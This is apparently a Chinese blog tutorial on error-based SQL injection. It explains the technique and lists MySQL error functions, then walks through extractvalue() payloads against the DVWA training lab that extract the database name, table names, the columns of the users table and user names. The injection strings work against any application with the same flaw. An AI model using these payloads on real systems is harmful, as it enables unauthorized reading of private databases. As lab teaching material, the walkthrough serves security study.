sql注入-报错注入

报错盲注

原理:

报错注入(Error-based SQL Injection)是一种SQL注入攻击技术,它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息,如数据库表名、列名、数据类型等,甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询,以绕过应用程序的安全措施,获取未授权的数据访问或执行未授权的操作。

常用报错函数:

1.floor()报错

2.extractValue()报错

3.updateXml()报错

4.NAME_CONST()报错

5.jion()报错

6.exp()报错

下面进行报错注入dvwa靶场。
1.爆库名

sql 复制代码
1' and extractvalue(1,concat(0x7e,database()))# 


2.爆表名

先爆表的数量

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))# 

再具体爆每张表的名字

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1)))#


3.爆列名

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))# 

最后爆出一共有八列。

分别爆出八个列名并找出可能有价值的列。

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1)))#

爆到4的时候有一个user的列,很明显是存放用户的列。

4.爆字段

爆出有几个用户

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count( user) from users )));#

在爆出各个用户的名称

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 1,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 2,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 3,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 4,1)));#
相关推荐
饮长安千年月2 分钟前
玄机-第八章 内存马分析-java02-shiro
数据库·安全·web安全·网络安全·应急响应
Fnetlink117 分钟前
推动“AI+ 网络安全”深度融合与创新发展
人工智能·安全·web安全
chxii31 分钟前
第五章:MySQL DQL 进阶 —— 动态计算与分类(IF 与 CASE WHEN)多表查询
数据库·mysql
Mr_Xuhhh1 小时前
五种IO模型与非阻塞IO
数据库
拾零吖1 小时前
数据库 - SQL
数据库·sql
百***62851 小时前
oracle 12c查看执行过的sql及当前正在执行的sql
java·sql·oracle
不会c嘎嘎1 小时前
MySQL -- 库的操作
数据库·mysql
陌上桑花开花1 小时前
DBeaver常用配置
数据库
百***87441 小时前
MySQL 查看有哪些表
数据库·mysql·oracle
曹牧1 小时前
Oracle:查询当前正在等待执行的SQL语句
linux·数据库·oracle